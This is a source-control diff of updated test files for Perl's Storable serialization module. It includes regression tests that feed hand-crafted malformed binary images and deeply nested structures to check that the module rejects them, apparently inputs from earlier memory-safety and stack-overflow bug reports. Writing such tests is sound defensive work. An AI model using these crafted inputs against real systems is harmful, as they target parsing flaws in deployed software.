+++ vendor/perl/dist/dist/Storable/t/just_plain_nasty.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,6 +35,8 @@
 
 use Storable qw(freeze thaw);
 
+$Storable::flags = Storable::FLAGS_COMPAT;
+
 #$Storable::DEBUGME = 1;
 BEGIN {
     plan tests => 34;

Modified: vendor/perl/dist/dist/Storable/t/leaks.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/leaks.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/leaks.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,3 +32,18 @@
     }
 }
 
+{ # [cpan #97316]
+  package TestClass;
+
+  sub new {
+    my $class = shift;
+    return bless({}, $class);
+  }
+  sub STORABLE_freeze {
+    die;
+  }
+
+  package main;
+  my $obj = TestClass->new;
+  eval { freeze($obj); };
+}

Modified: vendor/perl/dist/dist/Storable/t/lock.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/lock.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/lock.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,14 +33,14 @@
 # We're just ensuring things work, we're not validating locking.
 #
 
-isnt(lock_store(\@a, 'store'), undef);
+isnt(lock_store(\@a, "store$$"), undef);
 my $dumped = &dump(\@a);
 isnt($dumped, undef);
 
-$root = lock_retrieve('store');
+$root = lock_retrieve("store$$");
 is(ref $root, 'ARRAY');
 is(scalar @a, scalar @$root);
 is(&dump($root), $dumped);
 
-unlink 't/store';
+END { 1 while unlink "store$$" }
 

Modified: vendor/perl/dist/dist/Storable/t/malice.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/malice.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/malice.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,17 +25,15 @@
 }
 
 use strict;
-use vars qw($file_magic_str $other_magic $network_magic $byteorder
-            $major $minor $minor_write $fancy);
 
-$byteorder = $Config{byteorder};
+our $byteorder = $Config{byteorder};
 
-$file_magic_str = 'pst0';
-$other_magic = 7 + length $byteorder;
-$network_magic = 2;
-$major = 2;
-$minor = 10;
-$minor_write = $] >= 5.019 ? 10 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4;
+our $file_magic_str = 'pst0';
+our $other_magic = 7 + length $byteorder;
+our $network_magic = 2;
+our $major = 2;
+our $minor = 11;
+our $minor_write = $] >= 5.019 ? 11 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4;
 
 use Test::More;
 
@@ -45,13 +43,13 @@
 # There are only 2 * 2 tests per byte in the parts of the header not present
 # for network order, and 2 tests per byte on the 'pst0' "magic number" only
 # present in files, but not in things store()ed to memory
-$fancy = ($] > 5.007 ? 2 : 0);
+our $fancy = ($] > 5.007 ? 2 : 0);
 
 plan tests => 372 + length ($byteorder) * 4 + $fancy * 8;
 
 use Storable qw (store retrieve freeze thaw nstore nfreeze);
 require 'testlib.pl';
-use vars '$file';
+our $file;
 
 # The chr 256 is a hack to force the hash to always have the utf8 keys flag
 # set on 5.7.3 and later. Otherwise the test fails if run with -Mutf8 because
@@ -208,7 +206,7 @@
     $where = $file_magic + $network_magic;
   }
 
-  # Just the header and a tag 255. As 31 is currently the highest tag, this
+  # Just the header and a tag 255. As 33 is currently the highest tag, this
   # is "unexpected"
   $copy = substr ($contents, 0, $where) . chr 255;
 
@@ -228,7 +226,7 @@
   # local $Storable::DEBUGME = 1;
   # This is the delayed croak
   test_corrupt ($copy, $sub,
-                "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 31/",
+                "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 33/",
                 "bogus tag, minor plus 4");
   # And check again that this croak is not delayed:
   {

Modified: vendor/perl/dist/dist/Storable/t/overload.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/overload.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/overload.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,6 +18,8 @@
 
 use Storable qw(freeze thaw);
 
+$Storable::flags = Storable::FLAGS_COMPAT;
+
 use Test::More tests => 19;
 
 package OVERLOADED;

Modified: vendor/perl/dist/dist/Storable/t/recurse.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/recurse.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/recurse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,11 +5,11 @@
 #  You may redistribute only under the same terms as Perl 5, as specified
 #  in the README file that comes with the distribution.
 #  
+use Config;
 
 sub BEGIN {
     unshift @INC, 't';
     unshift @INC, 't/compat' if $] < 5.006002;
-    require Config; import Config;
     if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
         print "1..0 # Skip: Storable was not built\n";
         exit 0;
@@ -17,8 +17,11 @@
 }
 
 use Storable qw(freeze thaw dclone);
-use Test::More tests => 33;
 
+$Storable::flags = Storable::FLAGS_COMPAT;
+
+use Test::More tests => 38;
+
 package OBJ_REAL;
 
 use Storable qw(freeze thaw);
@@ -28,23 +31,23 @@
 sub make { bless [], shift }
 
 sub STORABLE_freeze {
-	my $self = shift;
-	my $cloning = shift;
-	die "STORABLE_freeze" unless Storable::is_storing;
-	return (freeze(\@x), $self);
+    my $self = shift;
+    my $cloning = shift;
+    die "STORABLE_freeze" unless Storable::is_storing;
+    return (freeze(\@x), $self);
 }
 
 sub STORABLE_thaw {
-	my $self = shift;
-	my $cloning = shift;
-	my ($x, $obj) = @_;
-	die "STORABLE_thaw #1" unless $obj eq $self;
-	my $len = length $x;
-	my $a = thaw $x;
-	die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
-	die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1;
-	@$self = @$a;
-	die "STORABLE_thaw #4" unless Storable::is_retrieving;
+    my $self = shift;
+    my $cloning = shift;
+    my ($x, $obj) = @_;
+    die "STORABLE_thaw #1" unless $obj eq $self;
+    my $len = length $x;
+    my $a = thaw $x;
+    die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
+    die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1;
+    @$self = @$a;
+    die "STORABLE_thaw #4" unless Storable::is_retrieving;
 }
 
 package OBJ_SYNC;
@@ -54,18 +57,18 @@
 sub make { bless {}, shift }
 
 sub STORABLE_freeze {
-	my $self = shift;
-	my ($cloning) = @_;
-	return if $cloning;
-	return ("", \@x, $self);
+    my $self = shift;
+    my ($cloning) = @_;
+    return if $cloning;
+    return ("", \@x, $self);
 }
 
 sub STORABLE_thaw {
-	my $self = shift;
-	my ($cloning, $undef, $a, $obj) = @_;
-	die "STORABLE_thaw #1" unless $obj eq $self;
-	die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2;
-	$self->{ok} = $self;
+    my $self = shift;
+    my ($cloning, $undef, $a, $obj) = @_;
+    die "STORABLE_thaw #1" unless $obj eq $self;
+    die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2;
+    $self->{ok} = $self;
 }
 
 package OBJ_SYNC2;
@@ -73,30 +76,30 @@
 use Storable qw(dclone);
 
 sub make {
-	my $self = bless {}, shift;
-	my ($ext) = @_;
-	$self->{sync} = OBJ_SYNC->make;
-	$self->{ext} = $ext;
-	return $self;
+    my $self = bless {}, shift;
+    my ($ext) = @_;
+    $self->{sync} = OBJ_SYNC->make;
+    $self->{ext} = $ext;
+    return $self;
 }
 
 sub STORABLE_freeze {
-	my $self = shift;
-	my %copy = %$self;
-	my $r = \%copy;
-	my $t = dclone($r->{sync});
-	return ("", [$t, $self->{ext}], $r, $self, $r->{ext});
+    my $self = shift;
+    my %copy = %$self;
+    my $r = \%copy;
+    my $t = dclone($r->{sync});
+    return ("", [$t, $self->{ext}], $r, $self, $r->{ext});
 }
 
 sub STORABLE_thaw {
-	my $self = shift;
-	my ($cloning, $undef, $a, $r, $obj, $ext) = @_;
-	die "STORABLE_thaw #1" unless $obj eq $self;
-	die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
-	die "STORABLE_thaw #3" unless ref $r eq 'HASH';
-	die "STORABLE_thaw #4" unless $a->[1] == $r->{ext};
-	$self->{ok} = $self;
-	($self->{sync}, $self->{ext}) = @$a;
+    my $self = shift;
+    my ($cloning, $undef, $a, $r, $obj, $ext) = @_;
+    die "STORABLE_thaw #1" unless $obj eq $self;
+    die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
+    die "STORABLE_thaw #3" unless ref $r eq 'HASH';
+    die "STORABLE_thaw #4" unless $a->[1] == $r->{ext};
+    $self->{ok} = $self;
+    ($self->{sync}, $self->{ext}) = @$a;
 }
 
 package OBJ_REAL2;
@@ -110,19 +113,19 @@
 sub make { bless [], shift }
 
 sub STORABLE_freeze {
-	my $self = shift;
-	$hook_called++;
-	return (freeze($self), $self) if ++$recursed < $MAX;
-	return ("no", $self);
+    my $self = shift;
+    $hook_called++;
+    return (freeze($self), $self) if ++$recursed < $MAX;
+    return ("no", $self);
 }
 
 sub STORABLE_thaw {
-	my $self = shift;
-	my $cloning = shift;
-	my ($x, $obj) = @_;
-	die "STORABLE_thaw #1" unless $obj eq $self;
-	$self->[0] = thaw($x) if $x ne "no";
-	$recursed--;
+    my $self = shift;
+    my $cloning = shift;
+    my ($x, $obj) = @_;
+    die "STORABLE_thaw #1" unless $obj eq $self;
+    $self->[0] = thaw($x) if $x ne "no";
+    $recursed--;
 }
 
 package main;
@@ -183,32 +186,32 @@
 package Foo;
 
 sub new {
-	my $class = shift;
-	my $dat = shift;
-	return bless {dat => $dat}, $class;
+    my $class = shift;
+    my $dat = shift;
+    return bless {dat => $dat}, $class;
 }
 
 package Bar;
 sub new {
-	my $class = shift;
-	return bless {
-		a => 'dummy',
-		b => [ 
-			Foo->new(1),
-			Foo->new(2), # Second instance of a Foo 
-		]
-	}, $class;
+    my $class = shift;
+    return bless {
+        a => 'dummy',
+        b => [ 
+            Foo->new(1),
+            Foo->new(2), # Second instance of a Foo 
+          ]
+    }, $class;
 }
 
 sub STORABLE_freeze {
-	my($self,$clonning) = @_;
-	return "$self->{a}", $self->{b};
+    my($self,$clonning) = @_;
+    return "$self->{a}", $self->{b};
 }
 
 sub STORABLE_thaw {
-	my($self,$clonning,$dummy,$o) = @_;
-	$self->{a} = $dummy;
-	$self->{b} = $o;
+    my($self,$clonning,$dummy,$o) = @_;
+    $self->{a} = $dummy;
+    $self->{b} = $o;
 }
 
 package main;
@@ -230,42 +233,42 @@
 package CLASS_1;
 
 sub make {
-	my $self = bless {}, shift;
-	return $self;
+    my $self = bless {}, shift;
+    return $self;
 }
 
 package CLASS_2;
 
 sub make {
-	my $self = bless {}, shift;
-	my ($o) = @_;
-	$self->{c1} = CLASS_1->make();
-	$self->{o} = $o;
-	$self->{c3} = bless CLASS_1->make(), "CLASS_3";
-	$o->set_c2($self);
-	return $self;
+    my $self = bless {}, shift;
+    my ($o) = @_;
+    $self->{c1} = CLASS_1->make();
+    $self->{o} = $o;
+    $self->{c3} = bless CLASS_1->make(), "CLASS_3";
+    $o->set_c2($self);
+    return $self;
 }
 
 sub STORABLE_freeze {
-	my($self, $clonning) = @_;
-	return "", $self->{c1}, $self->{c3}, $self->{o};
+    my($self, $clonning) = @_;
+    return "", $self->{c1}, $self->{c3}, $self->{o};
 }
 
 sub STORABLE_thaw {
-	my($self, $clonning, $frozen, $c1, $c3, $o) = @_;
-	main::is(ref $self, "CLASS_2");
-	main::is(ref $c1, "CLASS_1");
-	main::is(ref $c3, "CLASS_3");
-	main::is(ref $o, "CLASS_OTHER");
-	$self->{c1} = $c1;
-	$self->{c3} = $c3;
+    my($self, $clonning, $frozen, $c1, $c3, $o) = @_;
+    main::is(ref $self, "CLASS_2");
+    main::is(ref $c1, "CLASS_1");
+    main::is(ref $c3, "CLASS_3");
+    main::is(ref $o, "CLASS_OTHER");
+    $self->{c1} = $c1;
+    $self->{c3} = $c3;
 }
 
 package CLASS_OTHER;
 
 sub make {
-	my $self = bless {}, shift;
-	return $self;
+    my $self = bless {}, shift;
+    return $self;
 }
 
 sub set_c2 { $_[0]->{c2} = $_[1] }
@@ -277,36 +280,89 @@
 package Foo2;
 
 sub new {
-	my $self = bless {}, $_[0];
-	$self->{freezed} = "$self";
-	return $self;
+    my $self = bless {}, $_[0];
+    $self->{freezed} = "$self";
+    return $self;
 }
 
 sub DESTROY {
-	my $self = shift;
-	$::refcount_ok = 1 unless "$self" eq $self->{freezed};
+    my $self = shift;
+    $::refcount_ok = 1 unless "$self" eq $self->{freezed};
 }
 
 package Foo3;
 
 sub new {
-	bless {}, $_[0];
+    bless {}, $_[0];
 }
 
 sub STORABLE_freeze {
-	my $obj = shift;
-	return ("", $obj, Foo2->new);
+    my $obj = shift;
+    return ("", $obj, Foo2->new);
 }
 
 sub STORABLE_thaw { } # Not really used
 
 package main;
-use vars qw($refcount_ok);
 
 my $o = CLASS_OTHER->make();
 my $c2 = CLASS_2->make($o);
 my $so = thaw freeze $o;
 
-$refcount_ok = 0;
+our $refcount_ok = 0;
 thaw freeze(Foo3->new);
-is($refcount_ok, 1);
+is($refcount_ok, 1, "check refcount");
+
+# Check stack overflows [cpan #97526]
+# JSON::XS limits this to 512.
+# Small 64bit systems fail with 1200 (c++ debugging), with gcc 3000.
+# Optimized 64bit allows up to 33.000 recursion depth.
+# with asan the limit is 255 though.
+sub MAX_DEPTH () { Storable::stack_depth() }
+sub MAX_DEPTH_HASH () { Storable::stack_depth_hash() }
+sub OVERFLOW () { 35000 }
+{
+    my $t;
+    print "# max depth ", MAX_DEPTH, "\n";
+    $t = [$t] for 1 .. MAX_DEPTH;
+    dclone $t;
+    pass "can nest ".MAX_DEPTH." array refs";
+}
+{
+    my $t;
+    $t = {1=>$t} for 1 .. MAX_DEPTH_HASH-10;
+    dclone $t;
+    pass "can nest ".(MAX_DEPTH_HASH)." hash refs";
+}
+{
+    my (@t);
+    push @t, [{}] for 1..5000;
+    #diag 'trying simple array[5000] stack overflow, no recursion';
+    dclone \@t;
+    is $@, '', 'No simple array[5000] stack overflow #257';
+}
+
+eval {
+    my $t;
+    $t = [$t] for 1 .. MAX_DEPTH*2;
+    note 'trying catching recursive aref stack overflow';
+    dclone $t;
+};
+like $@, qr/Max\. recursion depth with nested structures exceeded/,
+      'Caught aref stack overflow '.MAX_DEPTH*2;
+
+if ($ENV{APPVEYOR} and length(pack "p", "") >= 8) {
+    # TODO: need to repro this fail on a small machine.
+    ok(1, "skip dclone of big hash");
+}
+else {
+    eval {
+        my $t;
+        # 35.000 will cause appveyor 64bit windows to fail earlier
+        $t = {1=>$t} for 1 .. MAX_DEPTH * 2;
+        note 'trying catching recursive href stack overflow';
+        dclone $t;
+    };
+    like $@, qr/Max\. recursion depth with nested structures exceeded/,
+      'Caught href stack overflow '.MAX_DEPTH*2;
+}

Added: vendor/perl/dist/dist/Storable/t/regexp.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/regexp.t	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/regexp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,127 @@
+#!perl -w
+use strict;
+use Storable "dclone";
+use Test::More;
+
+my $version = int(($]-5)*1000);
+
+$version >= 8
+  or plan skip_all => "regexps not supported before 5.8";
+
+my @tests;
+while (<DATA>) {
+    chomp;
+    next if /^\s*#/ || !/\S/;
+    my ($range, $code, $match, $name) = split /\s*;\s*/;
+    defined $name or die "Bad test line";
+    my $ascii_only = $range =~ s/A//;
+    next if $ascii_only and ord("A") != 65;
+    if ($range =~ /^(\d+)-$/) {
+        next if $version < $1
+    }
+    elsif ($range =~ /^-(\d+)$/) {
+        next if $version > $1
+    }
+    elsif ($range =~ /^(\d+)-(\d+)$/) {
+        next if $version < $1 || $version > $2;
+    }
+    elsif ($range ne "-") {
+        die "Invalid version range $range for $name";
+    }
+    my @match = split /\s*,\s*/, $match;
+    for my $m (@match) {
+	my $not = $m =~ s/^!//;
+	my $cmatch = eval $m;
+	die if $@;
+        push @tests, [ $code, $not, $cmatch, $m, $name ];
+    }
+}
+
+plan tests => 9 + 3*scalar(@tests);
+
+SKIP:
+{
+    $version >= 14 && $version < 20
+      or skip "p introduced in 5.14, pointless from 5.20", 4;
+    my $q1 = eval "qr/b/p";
+    my $q2 = eval "qr/b/";
+    my $c1 = dclone($q1);
+    my $c2 = dclone($q2);
+    ok("abc" =~ $c1, "abc matches $c1");
+    is(${^PREMATCH}, "a", "check p worked");
+    ok("cba" =~ $c2, "cba matches $c2");
+    isnt(${^PREMATCH}, "c", "check no p worked");
+}
+
+SKIP:
+{
+    $version >= 24
+      or skip "n introduced in 5.22", 4;
+    my $c1 = dclone(eval "qr/(\\w)/");
+    my $c2 = dclone(eval "qr/(\\w)/n");
+    ok("a" =~ $c1, "a matches $c1");
+    is($1, "a", "check capturing preserved");
+    ok("b" =~ $c2, "b matches $c2");
+    isnt($1, "b", "check non-capturing preserved");
+}
+
+SKIP:
+{
+    $version >= 8
+      or skip "Cannot retrieve before 5.8", 1;
+    my $x;
+    my $re = qr/a(?{ $x = 1 })/;
+    use re 'eval';
+    ok(!eval { dclone($re) }, "should fail to clone, even with use re 'eval'");
+}
+
+for my $test (@tests) {
+    my ($code, $not, $match, $matchc, $name) = @$test;
+    my $qr = eval $code;
+    die "Could not compile $code: $@" if $@;
+    if ($not) {
+	unlike($match, $qr, "$name: pre(not) match $matchc");
+    }
+    else {
+	like($match, $qr, "$name: prematch $matchc");
+    }
+    my $qr2 = dclone($qr);
+    if ($not) {
+	unlike($match, $qr2, "$name: (not) match $matchc");
+    }
+    else {
+	like($match, $qr2, "$name: match $matchc");
+    }
+
+    # this is unlikely to be a problem, but make sure regexps are frozen sanely
+    # as part of a data structure
+    my $a2 = dclone([ $qr ]);
+    if ($not) {
+	unlike($match, $a2->[0], "$name: (not) match $matchc (array)");
+    }
+    else {
+	like($match, $a2->[0], "$name: match $matchc (array)");
+    }
+}
+
+__DATA__
+# semi-colon separated:
+# perl version range; regexp qr; match string; name
+# - version range is PERL_VERSION, ie 22 for 5.22 as from-to with both from
+#   and to optional (so "-" is all versions.
+# - match string is , separated match strings
+# - if a match string starts with ! it mustn't match, otherwise it must
+#   spaces around the commas ignored.
+#   The initial "!" is stripped and the remainder treated as perl code to define
+#   the string to (not) be matched
+-; qr/foo/ ; "foo",!"fob" ; simple
+-; qr/foo/i ; "foo","FOO",!"fob" ; simple case insensitive
+-; qr/f o o/x ; "foo", !"f o o" ; /x
+-; qr(a/b) ; "a/b" ; alt quotes
+A-; qr(\x2E) ; ".", !"a" ; \x2E - hex meta
+-; qr/\./ ; "." , !"a" ; \. - backslash meta
+8- ; qr/\x{100}/ ; "\x{100}" ; simple unicode
+12- ; qr/fss/i ; "f\xDF\x{101}" ; case insensive unicode promoted
+22-; qr/fss/ui ; "f\xDF" ; case insensitive unicode SS /iu
+22-; qr/fss/aai ; !"f\xDF" ; case insensitive unicode SS /iaa
+22-; qr/f\w/a ; "fo", !"f\xff" ; simple /a flag

Modified: vendor/perl/dist/dist/Storable/t/restrict.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/restrict.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/restrict.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -36,7 +36,9 @@
 
 use Storable qw(dclone freeze thaw);
 use Hash::Util qw(lock_hash unlock_value lock_keys);
-use Test::More tests => 304;
+use Config;
+$Storable::DEBUGME = $ENV{STORABLE_DEBUGME};
+use Test::More tests => (!$Storable::DEBUGME && $Config{usecperl} ? 105 : 304);
 
 my %hash = (question => '?', answer => 42, extra => 'junk', undef => undef);
 lock_hash %hash;
@@ -120,7 +122,10 @@
 }
 
 # [perl #73972]
-{
+# broken again with cperl PERL_PERTURB_KEYS_TOP.
+SKIP: {
+    skip "TODO restricted Storable hashes broken with PERL_PERTURB_KEYS_TOP", 1
+         if !$Storable::DEBUGME && $Config{usecperl};
     for my $n (1..100) {
         my @keys = map { "FOO$_" } (1..$n);
 

Modified: vendor/perl/dist/dist/Storable/t/retrieve.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/retrieve.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/retrieve.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,7 @@
 #!./perl
 #
 #  Copyright (c) 1995-2000, Raphael Manfredi
+#  Copyright (c) 2017, cPanel Inc
 #  
 #  You may redistribute only under the same terms as Perl 5, as specified
 #  in the README file that comes with the distribution.
@@ -7,6 +8,7 @@
 #
 
 sub BEGIN {
+    unshift @INC, 'dist/Storable/t' if $ENV{PERL_CORE} and -d 'dist/Storable/t';
     unshift @INC, 't';
     unshift @INC, 't/compat' if $] < 5.006002;
     require Config; import Config;
@@ -19,7 +21,7 @@
 
 
 use Storable qw(store retrieve nstore);
-use Test::More tests => 14;
+use Test::More tests => 20;
 
 $a = 'toto';
 $b = \$a;
@@ -29,13 +31,13 @@
 @a = ('first', '', undef, 3, -4, -3.14159, 456, 4.5,
 	$b, \$a, $a, $c, \$c, \%a);
 
-isnt(store(\@a, 'store'), undef);
+isnt(store(\@a, "store$$"), undef);
 is(Storable::last_op_in_netorder(), '');
 isnt(nstore(\@a, 'nstore'), undef);
 is(Storable::last_op_in_netorder(), 1);
 is(Storable::last_op_in_netorder(), 1);
 
-$root = retrieve('store');
+$root = retrieve("store$$");
 isnt($root, undef);
 is(Storable::last_op_in_netorder(), '');
 
@@ -54,4 +56,37 @@
 isnt($root->[1], undef);
 is(length $root->[1], 0);
 
-END { 1 while unlink('store', 'nstore') }
+# $Storable::DEBUGME = 1;
+{
+    # len>I32: todo patch the storable image number into the strings, fake 2.10
+    # $Storable::BIN_MINOR
+    my $retrieve_blessed = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x11\xff\x49\x6e\x74\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+    my $x = eval { Storable::mretrieve($retrieve_blessed); };
+    # Long integer or Double size or Byte order is not compatible
+    like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "RT #130635 $@");
+    is($x, undef, 'and undef result');
+}
+
+{
+    # len>I32
+    my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+    my $x = eval { Storable::mretrieve($retrieve_hook); };
+    like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "$@");
+    is($x, undef, 'and undef result');
+}
+
+SKIP:
+{
+    # this can allocate a lot of memory, only do that if the testers tells us we can
+    # the test allocates 2GB, but other memory is allocated too, so we want
+    # at least 3
+    $ENV{PERL_TEST_MEMORY} && $ENV{PERL_TEST_MEMORY} >= 3
+      or skip "over 2GB memory needed for this test", 2;
+    # len<I32, len>127: stack overflow
+    my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\x7f\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+    my $x = eval { Storable::mretrieve($retrieve_hook); };
+    is($?, 0, "no stack overflow in retrieve_hook()");
+    is($x, undef, 'either out of mem or normal error (malloc 2GB)');
+}
+
+END { 1 while unlink("store$$", 'nstore') }

Modified: vendor/perl/dist/dist/Storable/t/st-dump.pl
===================================================================
--- vendor/perl/dist/dist/Storable/t/st-dump.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/st-dump.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
 );
 
 # Given an object, dump its transitive data closure
-sub main'dump {
+sub main::dump {
 	my ($object) = @_;
 	croak "Not a reference!" unless ref($object);
 	local %dumped;

Modified: vendor/perl/dist/dist/Storable/t/store.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/store.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/store.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,6 +17,7 @@
     require 'st-dump.pl';
 }
 
+# $Storable::DEBUGME = 1;
 use Storable qw(store retrieve store_fd nstore_fd fd_retrieve);
 
 use Test::More tests => 25;
@@ -29,12 +30,12 @@
 @a = ('first', undef, 3, -4, -3.14159, 456, 4.5,
 	$b, \$a, $a, $c, \$c, \%a);
 
-isnt(store(\@a, 'store'), undef);
+isnt(store(\@a, "store$$"), undef);
 
 $dumped = &dump(\@a);
 isnt($dumped, undef);
 
-$root = retrieve('store');
+$root = retrieve("store$$");
 isnt($root, undef);
 
 $got = &dump($root);
@@ -42,7 +43,7 @@
 
 is($got, $dumped);
 
-1 while unlink 'store';
+1 while unlink "store$$";
 
 package FOO; @ISA = qw(Storable);
 
@@ -55,9 +56,9 @@
 package main;
 
 $foo = FOO->make;
-isnt($foo->store('store'), undef);
+isnt($foo->store("store$$"), undef);
 
-isnt(open(OUT, '>>store'), undef);
+isnt(open(OUT, '>>', "store$$"), undef);
 binmode OUT;
 
 isnt(store_fd(\@a, ::OUT), undef);
@@ -66,7 +67,7 @@
 
 isnt(close(OUT), undef);
 
-isnt(open(OUT, 'store'), undef);
+isnt(open(OUT, "store$$"), undef);
 
 $r = fd_retrieve(::OUT);
 isnt($r, undef);
@@ -112,4 +113,4 @@
 }
 
 close OUT or die "Could not close: $!";
-END { 1 while unlink 'store' }
+END { 1 while unlink "store$$" }

Modified: vendor/perl/dist/dist/Storable/t/testlib.pl
===================================================================
--- vendor/perl/dist/dist/Storable/t/testlib.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/testlib.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,7 @@
 #!perl -w
 use strict;
-use vars '$file';
 
-$file = "storable-testfile.$$";
+our $file = "storable-testfile.$$";
 die "Temporary file '$file' already exists" if -e $file;
 
 END { while (-f $file) {unlink $file or die "Can't unlink '$file': $!" }}
@@ -12,7 +11,7 @@
 sub slurp {
   my $file = shift;
   local (*FH, $/);
-  open FH, '<', $file or die "Can't open '$file': $!";
+  open FH, "<", $file or die "Can't open '$file': $!";
   binmode FH;
   my $contents = <FH>;
   die "Can't read $file: $!" unless defined $contents;
@@ -22,12 +21,13 @@
 sub store_and_retrieve {
   my $data = shift;
   unlink $file or die "Can't unlink '$file': $!";
-  open FH, '>', $file or die "Can't open '$file': $!";
+  local *FH;
+  open FH, ">", $file or die "Can't open '$file': $!";
   binmode FH;
   print FH $data or die "Can't print to '$file': $!";
   close FH or die "Can't close '$file': $!";
 
-  return  eval {retrieve $file};
+  return eval {retrieve $file};
 }
 
 sub freeze_and_thaw {

Modified: vendor/perl/dist/dist/Storable/t/tied.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/tied.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/tied.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,6 +18,8 @@
 }
 
 use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
 use Test::More tests => 25;
 
 ($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0);
@@ -203,7 +205,7 @@
 {
     package P;
     use Storable qw(freeze thaw);
-    use vars qw($a $b);
+    our ($a, $b);
     $b = "not ok ";
     sub TIESCALAR { bless \$a } sub FETCH { "ok " }
     tie $a, P; my $r = thaw freeze \$a; $b = $$r;

Modified: vendor/perl/dist/dist/Storable/t/tied_hook.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/tied_hook.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/tied_hook.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,6 +18,9 @@
 }
 
 use Storable qw(freeze thaw);
+
+$Storable::flags = Storable::FLAGS_COMPAT;
+
 use Test::More tests => 28;
 
 ($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0);

Modified: vendor/perl/dist/dist/Storable/t/tied_items.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/tied_items.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/tied_items.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,6 +25,8 @@
 use Storable qw(dclone);
 use Test::More tests => 8;
 
+$Storable::flags = Storable::FLAGS_COMPAT;
+
 $h_fetches = 0;
 
 sub H::TIEHASH { bless \(my $x), "H" }

Added: vendor/perl/dist/dist/Storable/t/tied_reify.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/tied_reify.t	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/tied_reify.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,36 @@
+use Test::More tests => 1;
+ 
+package dumb_thing;
+
+use strict; use warnings;
+use Tie::Array;
+use Carp;
+use base 'Tie::StdArray';
+
+sub TIEARRAY {
+    my $class = shift;
+    my $this  = bless [], $class;
+    my $that  = shift;
+
+    @$this = @$that;
+
+    $this;
+}
+
+package main;
+
+use strict; use warnings;
+use Storable qw(freeze thaw);
+
+my $x = [1,2,3,4];
+
+broken($x); # ties $x
+broken( thaw( freeze($x) ) ); # since 5.16 fails with "Cannot tie unreifiable array"
+
